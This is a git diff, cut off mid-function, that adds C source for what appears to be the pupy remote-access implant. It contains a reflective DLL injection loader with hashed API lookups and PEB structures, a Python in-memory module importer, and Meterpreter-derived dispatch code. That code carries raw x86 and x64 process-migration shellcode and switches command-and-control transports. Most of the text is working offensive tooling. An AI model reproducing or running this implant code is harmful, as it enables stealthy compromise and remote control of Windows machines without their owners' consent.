/O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/client/sources/ReflectiveLoader.h b/client/sources/ReflectiveLoader.h new file mode 100644 index 00000000..71c40417 --- /dev/null +++ b/client/sources/ReflectiveLoader.h @@ -0,0 +1,204 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// + diff --git a/client/sources/_memimporter.c b/client/sources/_memimporter.c new file mode 100644 index 00000000..7a30bd3e --- /dev/null +++ b/client/sources/_memimporter.c @@ -0,0 +1,88 @@ +/* + For the _memimporter compiled into py2exe exe-stubs we need "Python-dynload.h". + For the standalone .pyd we need +*/ + +#ifdef STANDALONE +# include +# include "Python-version.h" +#else +# include "Python-dynload.h" +# include +#endif +#include + +static char module_doc[] = +"Importer which can load extension modules from memory"; + +//#include "MemoryModule.h" +#include "MyLoadLibrary.h" +#include "actctx.h" + + +static PyObject * +import_module(PyObject *self, PyObject *args) +{ + char *data; + int size; + char *initfuncname; + char *modname; + char *pathname; + //HMEMORYMODULE hmem; + HMODULE hmem; + FARPROC do_init; + + ULONG_PTR cookie = 0; + char *oldcontext; + + /* code, initfuncname, fqmodulename, path */ + if (!PyArg_ParseTuple(args, "s#sss:import_module", + &data, &size, + &initfuncname, &modname, &pathname)) + return NULL; + cookie = _My_ActivateActCtx();//try some windows manifest magic... + hmem=MyLoadLibrary(pathname, data, NULL); + _My_DeactivateActCtx(cookie); + if (!hmem) { + PyErr_Format(PyExc_ImportError, + "MemoryLoadLibrary failed loading %s", pathname); + return NULL; + } + do_init = MyGetProcAddress(hmem, initfuncname); + if (!do_init) { + MyFreeLibrary(hmem); + PyErr_Format(PyExc_ImportError, + "Could not find function %s", initfuncname); + return NULL; + } + + oldcontext = _Py_PackageContext; + _Py_PackageContext = modname; + do_init(); + _Py_PackageContext = oldcontext; + if (PyErr_Occurred()) + return NULL; + /* Retrieve from sys.modules */ + return PyImport_ImportModule(modname); +} + +static PyObject * +get_verbose_flag(PyObject *self, PyObject *args) +{ + return PyInt_FromLong(Py_VerboseFlag); +} + +static PyMethodDef methods[] = { + { "import_module", import_module, METH_VARARGS, + "import_module(data, size, initfuncname, path) -> module" }, + { "get_verbose_flag", get_verbose_flag, METH_NOARGS, + "Return the Py_Verbose flag" }, + { NULL, NULL }, /* Sentinel */ +}; + +DL_EXPORT(void) +init_memimporter(void) +{ + Py_InitModule3("_memimporter", methods, module_doc); +} + diff --git a/client/sources/actctx.c b/client/sources/actctx.c new file mode 100644 index 00000000..19b3786f --- /dev/null +++ b/client/sources/actctx.c @@ -0,0 +1,25 @@ +#include "actctx.h" + +HANDLE PyWin_DLLhActivationContext=NULL; +PFN_GETCURRENTACTCTX pfnGetCurrentActCtx=NULL; +PFN_ACTIVATEACTCTX pfnActivateActCtx=NULL; +PFN_DEACTIVATEACTCTX pfnDeactivateActCtx=NULL; +PFN_ADDREFACTCTX pfnAddRefActCtx=NULL; +PFN_RELEASEACTCTX pfnReleaseActCtx=NULL; + +ULONG_PTR _My_ActivateActCtx() +{ + ULONG_PTR ret = 0; + if (PyWin_DLLhActivationContext && pfnActivateActCtx) + if (!(*pfnActivateActCtx)(PyWin_DLLhActivationContext, &ret)) { + ret = 0; // no promise the failing function didn't change it! + } + return ret; +} + +void _My_DeactivateActCtx(ULONG_PTR cookie) +{ + if (cookie && pfnDeactivateActCtx) + if (!(*pfnDeactivateActCtx)(0, cookie)){} +} + diff --git a/client/sources/actctx.h b/client/sources/actctx.h new file mode 100644 index 00000000..7c318c66 --- /dev/null +++ b/client/sources/actctx.h @@ -0,0 +1,41 @@ +#include +#include +#include + +#include +// Windows "Activation Context" work: +// Our .pyd extension modules are generally built without a manifest (ie, +// those included with Python and those built with a default distutils. +// This requires we perform some "activation context" magic when loading our +// extensions. In summary: +// * As our DLL loads we save the context being used. +// * Before loading our extensions we re-activate our saved context. +// * After extension load is complete we restore the old context. +// As an added complication, this magic only works on XP or later - we simply +// use the existence (or not) of the relevant function pointers from kernel32. +// See bug 4566 (http://python.org/sf/4566) for more details. +#ifdef __cplusplus +extern "C" { +#endif + +typedef BOOL (WINAPI * PFN_GETCURRENTACTCTX)(HANDLE *); +typedef BOOL (WINAPI * PFN_ACTIVATEACTCTX)(HANDLE, ULONG_PTR *); +typedef BOOL (WINAPI * PFN_DEACTIVATEACTCTX)(DWORD, ULONG_PTR); +typedef BOOL (WINAPI * PFN_ADDREFACTCTX)(HANDLE); +typedef BOOL (WINAPI * PFN_RELEASEACTCTX)(HANDLE); + +// locals and function pointers for this activation context magic. +extern HANDLE PyWin_DLLhActivationContext; +extern PFN_GETCURRENTACTCTX pfnGetCurrentActCtx; +extern PFN_ACTIVATEACTCTX pfnActivateActCtx; +extern PFN_DEACTIVATEACTCTX pfnDeactivateActCtx; +extern PFN_ADDREFACTCTX pfnAddRefActCtx; +extern PFN_RELEASEACTCTX pfnReleaseActCtx; + +void _MyLoadActCtxPointers(); +ULONG_PTR _My_ActivateActCtx(); +void _My_DeactivateActCtx(ULONG_PTR cookie); + +#ifdef __cplusplus +} +#endif diff --git a/client/sources/base_dispatch.c b/client/sources/base_dispatch.c new file mode 100644 index 00000000..b4741898 --- /dev/null +++ b/client/sources/base_dispatch.c @@ -0,0 +1,828 @@ +/* + This code has been taken from meterpreter and modified to be integrated into pupy. + original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ + +Meterpreter is available for use under the following license, commonly known as the +3-clause (or "modified") BSD license: + +========================================================================================= + +Meterpreter +----------- + +Copyright (c) 2006-2013, Rapid7 Inc + +Redistribution and use in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + +* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or + promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ +#include "common.h" +#include "base_inject.h" +#include "../../../config.h" + +// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm' +BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00" + "\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B" + "\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C" + "\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C" + "\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B" + "\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0" + "\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24" + "\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01" + "\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51" + "\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68" + "\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00" + "\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E" + "\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF" + "\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08"; + +// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm' +BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8" + "\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48" + "\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48" + "\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C" + "\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52" + "\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B" + "\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48" + "\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34" + "\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41" + "\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8" + "\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40" + "\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E" + "\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0" + "\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77" + "\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0" + "\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07" + "\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5" + "\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02" + "\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41" + "\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08"; + +// We force 64bit algnment for HANDLES and POINTERS in order +// to be cross compatable between x86 and x64 migration. +typedef struct _MIGRATECONTEXT +{ + union + { + HANDLE hEvent; + BYTE bPadding1[8]; + } e; + + union + { + LPBYTE lpPayload; + BYTE bPadding2[8]; + } p; + + WSAPROTOCOL_INFO info; + +} MIGRATECONTEXT, * LPMIGRATECONTEXT; + +DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) +{ + DWORD result = ERROR_NOT_ENOUGH_MEMORY; + Transport* transport = NULL; + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + + TimeoutSettings timeouts = { 0 }; + + int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); + timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); + timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + + // special case, will still leave this in here even if it's not transport related + if (sessionExpiry != 0) + { + remote->sess_expiry_time = sessionExpiry; + remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; + } + + if (timeouts.comms == 0) + { + timeouts.comms = remote->transport->timeouts.comms; + } + if (timeouts.retry_total == 0) + { + timeouts.retry_total = remote->transport->timeouts.retry_total; + } + if (timeouts.retry_wait == 0) + { + timeouts.retry_wait = remote->transport->timeouts.retry_wait; + } + + dprintf("[CHANGE TRANS] Url: %S", transportUrl); + dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); + dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); + dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); + + do + { + if (transportUrl == NULL) + { + dprintf("[CHANGE TRANS] Something was NULL"); + break; + } + + if (wcsncmp(transportUrl, L"tcp", 3) == 0) + { + MetsrvTransportTcp config = { 0 }; + config.common.comms_timeout = timeouts.comms; + config.common.retry_total = timeouts.retry_total; + config.common.retry_wait = timeouts.retry_wait; + memcpy(config.common.url, transportUrl, sizeof(config.common.url)); + transport = remote->trans_create(remote, &config.common, NULL); + } + else + { + BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; + wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); + wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); + wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); + wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); + PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); + + MetsrvTransportHttp config = { 0 }; + config.common.comms_timeout = timeouts.comms; + config.common.retry_total = timeouts.retry_total; + config.common.retry_wait = timeouts.retry_wait; + wcsncpy(config.common.url, transportUrl, URL_SIZE); + + if (proxy) + { + wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE); + free(proxy); + } + + if (proxyUser) + { + wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE); + free(proxyUser); + } + + if (proxyPass) + { + wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE); + free(proxyPass); + } + + if (ua) + { + wcsncpy(config.ua, ua, UA_SIZE); + free(ua); + } + + if (certHash) + { + memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE); + // No need to free this up as it's not a wchar_t + } + + transport = remote->trans_create(remote, &config.common, NULL); + } + + // tell the server dispatch to exit, it should pick up the new transport + result = ERROR_SUCCESS; + } while (0); + + *transportBufer = transport; + + return result; +} + +DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = NULL; + + do + { + response = packet_create_response(packet); + + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the session timeout to the top level + packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + + Transport* current = remote->transport; + Transport* first = remote->transport; + + do + { + Packet* transportGroup = packet_create_group(); + + if (!transportGroup) + { + // bomb out, returning what we have so far. + break; + } + + dprintf("[DISPATCH] Adding URL %S", current->url); + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); + dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); + dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); + dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); + + if (current->type != METERPRETER_TRANSPORT_SSL) + { + HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; + dprintf("[DISPATCH] Transport is HTTP/S"); + if (ctx->ua) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); + } + if (ctx->proxy) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); + } + if (ctx->proxy_user) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); + } + if (ctx->proxy_pass) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); + } + if (ctx->cert_hash) + { + packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + } + + packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); + + current = current->next_transport; + } while (first != current); + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result) +{ + dprintf("[DISPATCH] Asking to go to next transport (from 0x%p to 0x%p)", remote->transport, remote->transport->next_transport); + if (remote->transport == remote->transport->next_transport) + { + dprintf("[DISPATCH] Transports are the same, don't do anything"); + // if we're switching to the same thing, don't bother. + *result = ERROR_INVALID_FUNCTION; + } + else + { + dprintf("[DISPATCH] Transports are different, perform the switch"); + remote->next_transport = remote->transport->next_transport; + *result = ERROR_SUCCESS; + } + + packet_transmit_empty_response(remote, packet, *result); + return *result == ERROR_SUCCESS ? FALSE : TRUE; + +} + +BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result) +{ + dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport); + if (remote->transport == remote->transport->prev_transport) + { + dprintf("[DISPATCH] Transports are the same, don't do anything"); + // if we're switching to the same thing, don't bother. + *result = ERROR_INVALID_FUNCTION; + } + else + { + dprintf("[DISPATCH] Transports are different, perform the switch"); + remote->next_transport = remote->transport->prev_transport; + *result = ERROR_SUCCESS; + } + + packet_transmit_empty_response(remote, packet, *result); + return *result == ERROR_SUCCESS ? FALSE : TRUE; +} + +DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) +{ + DWORD result = 